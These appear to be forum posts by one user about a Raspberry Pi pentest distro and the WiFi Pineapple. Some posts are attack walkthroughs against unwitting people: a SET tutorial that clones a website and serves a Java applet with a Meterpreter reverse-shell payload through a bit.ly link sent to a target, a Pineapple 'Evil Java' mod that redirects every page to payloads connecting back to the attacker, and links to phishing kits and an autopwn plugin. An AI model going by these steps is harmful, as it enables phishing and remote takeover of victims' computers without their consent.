reflex

I would hope that any nuclear research facility wouldnt be running some kind of back up, If these weapons didnt exist the world would be a much safer place :)

Hi everyone, PwnPi 3.0 The Pen Test Drop Box distro for the Raspberry Pi has been released! Now packing 200+ pentest tools and added easy setup of reverse connections. PwnPi Website : http://pwnpi.net/ SourceForge page : http://sourceforge.net/projects/pwnpi/ Screenshot 1 : http://s16.postimage...088ud/image.png Screenshot 2 : http://s10.postimage...xui2h/image.png Screenshot 3 : http://s16.postimage...p7bgl/image.png Direct Download : http://sourceforge.n...img.7z/download md5:5d0f146557def874b34ba0a5568d6c32:pwnpi-3.0.img.7z username:password:root:toor Let me know if you have any questions. Reflex!

Hi guys not been on in a while, heres a quick tut i wrote. I ADVISE DOING THIS FROM A LIVE USB OF BACKTRACK AS YOU WILL BE EXPOSED TO THE INTERNET (CAN BE DANGEROUS) Startup SET ++++++++++++++++ Selct 1) Social-Engineering Attacks ++++++++++++++++ ++++++++++++++++ Selct 2) Website Attack Vectors ++++++++++++++++ ++++++++++++++++ Selct 1) Java Applet Attack Method ++++++++++++++++ ++++++++++++++++ Selct 2) Site Cloner ++++++++++++++++ [-] NAT/Port Forwarding can be used in the cases where your SET machine is [-] not externally exposed and may be a different IP address than your reverse listener. set> Are you using NAT/Port Forwarding [yes|no]: ++++++++++++++++ Select YES ++++++++++++++++ set:webattack> IP address to SET web server (this could be your external IP or hostname): ++++++++++++++++ Type in your external IP (open terminal and type "curl ifconfig.me" to find what it is) ++++++++++++++++ set:webattack> Is your payload handler (metasploit) on a different IP from your external NAT/Port FWD address [yes|no]: ++++++++++++++++ Select NO ++++++++++++++++ set:webattack> Enter the url to clone: ++++++++++++++++ Enter a website you want to clone (http://www.website.com) ++++++++++++++++ What payload do you want to generate: Name: Description: 1) Windows Shell Reverse_TCP Spawn a command shell on victim and send back to attacker 2) Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim and send back to attacker 3) Windows Reverse_TCP VNC DLL Spawn a VNC server on victim and send back to attacker 4) Windows Bind Shell Execute payload and create an accepting port on remote system 5) Windows Bind Shell X64 Windows x64 Command Shell, Bind TCP Inline 6) Windows Shell Reverse_TCP X64 Windows X64 Command Shell, Reverse TCP Inline 7) Windows Meterpreter Reverse_TCP X64 Connect back to the attacker (Windows x64), Meterpreter 8) Windows Meterpreter Egress Buster Spawn a meterpreter shell and find a port home via multiple ports 9) Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP using SSL and use Meterpreter 10) Windows Meterpreter Reverse DNS Use a hostname instead of an IP address and spawn Meterpreter 11) SE Toolkit Interactive Shell Custom interactive reverse toolkit designed for SET 12) SE Toolkit HTTP Reverse Shell Purely native HTTP shell with AES encryption support 13) RATTE HTTP Tunneling Payload Security bypass payload that will tunnel all comms over HTTP 14) ShellCodeExec Alphanum Shellcode This will drop a meterpreter payload through shellcodeexec 15) PyInjector Shellcode Injection This will drop a meterpreter payload through PyInjector 16) Import your own executable Specify a path for your own executable ++++++++++++++++ Select 14) ShellCodeExec Alphanum Shellcode ++++++++++++++++ set:payloads> PORT of the listener [443]: ++++++++++++++++ Press enter for default port 443 ++++++++++++++++ Select the payload you want to deliver via shellcodeexec 1) Windows Meterpreter Reverse TCP 2) Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager 3) Windows Meterpreter (Reflective Injection) Reverse HTTP Stager 4) Windows Meterpreter (ALL PORTS) Reverse TCP ++++++++++++++++ Select 1) Windows Meterpreter Reverse TCP ++++++++++++++++ Wait a while,it will generate the payloads then start metasploit. While your waiting log into your router, probably 192.168.x.x and look for the DMZ option, should be under NAT or advanced. Enter your local IP into into the DMZ field, ("ifconfig" in terminal to get lan ip, sure you know that though) Go to https://bitly.com/ enter your external IP and you will get a link something like http://bit.ly/a00d7M. Give someone the link and and hope they have Java installed. Happy Hacking, Reflex.

Just released PwnPi v2.0 Final. Ive installed 181 pen test tools. The project was on front page of hackaday yesterday and used up all the sourceforge webpage bandwith so have registered the official pwnpi site. http://pwnpi.net/ or http://pwnpi.sourceforge.net/ (redirects to http://pwnpi.net/) Screenshots http://sourceforge.net/projects/pwnpi/screenshots/1.png http://sourceforge.net/projects/pwnpi/screenshots/2.png http://sourceforge.net/projects/pwnpi/screenshots/3.png http://sourceforge.net/projects/pwnpi/screenshots/4.png http://sourceforge.net/projects/pwnpi/screenshots/5.png http://sourceforge.net/projects/pwnpi/screenshots/6.png Tools List http://pwnpi.net/tools.html Download http://pwnpi.net/download.html Reflex!

PwnPi v2.0-Pre-Release is now up. Check out http://pwnpi.sourceforge.net/ for screens and tools list. Still got a lot of work to do untill PwnPi v2.0-Final but just thought id upload it anyway.

Just give me a shout if you need help with anything. I installed xfce as its a more complete windows manager than lxde, cant stand it. Hey telot, if you want to help work on PwnPi v2.0 that would be great.

Just finished making PwnPi v1.0, a Raspberry Pi security distro. Uploading to sourceforge now. Heres some links, sourceforge page : http://sourceforge.net/projects/pwnpi/ website (needs updating) : http://www.pwnpi.com/ PwnPi in action : http://postimage.org/image/82dd5gkw7/ Tools List : http://pastebin.com/Kp5jEGtn Its based on the debian squeeze image with xfce as the window manager.

Hi there, did any get there Raspberry Pi then? I jst bought one of ebay and should get in a couple of days. I will be starting a Pi dropbox distro as soon as I receive my RPi in the post. Reply if anyone would want to work on this together. Reflex!

Yeh same here, Atheros minipci 422K/s eta 23m 37s Alfa Awus036h 43.1K/s eta 1h 52m such a shame cause this card kicks ass. Is it the patched drivers? might try a diff distro see if that helps

Solution in case anybody wants it : Download http://uploading.com/files/3be927b2/Alfa-AP51-DD-WRT.zip , connect to pineapple through LAN. Unzip Alfa-AP51-DD-WRT.zip and cd into Alfa-AP51-DD-WRT directory then run "./ap51-flash-1.0-42 eth0 root.fs vmlinux.bin.l7 nvram". If it says no packet then just unplug router then plugin again. Should get a message about your IP and MAC then will start to upload.

Yeh im using Linux though, will install windows if no one comes up with a solution, need to re-jailbreak my iPhone anywayz

Hi there, thanks for the quick reply but isnt working. root@Pineapple:/tmp# sysupgrade -n -v /tmp/AP51_ID_nb_r1600_ETSI.bin Invalid image. Use combined .img files on this platform Image check 'platform_check_image' failed. any ideas?

Hi there, im in need of a router and wanting to to install DD-WRT or Open-WRT on the Alfa AP51. Currently it has the Pineapple MK3 firmware installed and finding it hard to fend any decent docu on this. Anyone done this willing to write up a quick tut, would be appreciated.

Here, some phishers that i made. Gimme a shout if you want anymore! http://www.mediafire.com/file/zfl51ra0la5eo1a/phishers.rar Have fun. reflex

Hey ppl, put this in your metasploit plugins folder http://www.mediafire.com/file/44nedlahq4pisfx/db_autopwn.rb When MSF starts type "load db_autowpn" then "db_autopwn" for the options. :)

I stayed awake all night for the launch, then fell asleep about 5:30am. 30 mins before they went on sale. woke up at 12 and checked the sites but looked like they were getting ddos'ed by all us geeks. After two hours of clicking buy now and the page failing to load the button changed to register if your interested or something like that. Damn!

The java option automatically starts DNS spoofing. It should create a file in pineapple dir called up that echos the word "up" into it. That way the pineapple can tell when its on. When you stop it echos "" into it telling it its off. Check that the file up is in the pineapple dir and that its say up by "cat up" command when you have started the Evil Java.Thanks to Whistle Master for noticing that in the run.html have uploaded again and this time shouldbe fixed.

Read the readme file. 172.16.42.42 has to be your IP and you have to click Conf to get the commands to set up the listeners. The Payloads are on the pineapple. Set your ip to 172.16.42.42 then click Conf and copy paste them into the terminal, then turn on Evil Java on the pineapple and all pages get redirected to the applet. If someone clicks run the payload will connect back to 172.16.42.42.

Yeh, but its actually hosted on the pineapple so no messing about with set, just a flick of a switch and copy n paste the commands in the Conf, or even better download this script http://www.mediafire.com/?hso7cx01cvgmffm and run "msfconsole -r pineapplepwn.rc"

Edit : Uploaded again to fix the run.html pointing to the comp rather than itself.Thanks Whistle Master. EDIT : Im such a noob, i uploaded the files but not the ones id been working on, the index.html was meant to named run.html. Have renamed them and posted new link. Everything should be working fine now Hi Hak5 community, thought i would post this and give something back for once. Ive added and option to the MK3 Pineapple to redirect all websites to an Evil Java applet that has a payload for Windows, OSX, and Linux which is selected depending on there OS (Victim needs to have Java installed). Screens http://i.imgur.com/z5uHj.png http://i.imgur.com/tgtGH.png http://i.imgur.com/nM8KU.png http://i.imgur.com/VUkJd.png http://i.imgur.com/KWMfA.jpg http://i.imgur.com/PWfrT.jpg SETUP 1. Download and unzip "pineapple-java-applet-attack.7z" with the password "pineapple" from here http://www.mediafire.com/?5an6gg1byj23m9l 2. Copy all files from the "pineapple" folder to /www/pineapple/ replacing the index.php for an updated user interface with "Evil Java" option. 3. Copy the "java" folder to /www/ 4. Click Conf next to the "Evil Java" option for commands to setup listeners. 5. Enable "Evil Java" and sit back. ABOUT All websites will be redirected to the Java Applet Attack when enabled (except for Google when using Chrome). All payloads are set to connect back to 172.16.42.42 so make sure thats your IP. Tested on the MK3 with WebUI version: 1.0.4 and Firmware version: 2.1.2 Have Fun ;) Reflex!

Hi guys, big thanks for taking the time to answer. The problem was the battery pack not being powerfull enough even though they were new batteries. When I connect it the LAN led wasnt lighting up as bright as the power led and wont connect at all. When i connect it with the adapter both lights are bright and connects no problem. Must be because the Alfa ap51 is 12V unlike the fon thats on 5V. Thanks anyway. Just now only seems to be wii's and blackberrys connecting. Also do ferret and hamster even work anymore? Im capturing dumps with wireshark and loading them with ferret and hamster but i dont seem to be able to login to any sesions? chers. reflex

Hi there, wonder if anyone can help me. I just got my pineapple mk3 through the post and am trying to set it up, problem is..i cant connect to it. Ive tried two computers with wicd and network manager both refuse to connect. If i set the IP manually it does say its connected but cant ping the router. Any ideas? Also im using batteries to power it as i dont have a us to uk adapter yet. Could it possibly be a low power problem. I wouldnt think so as the batteries are new and it is powering up. Any suggestions would be appreciated! Thanks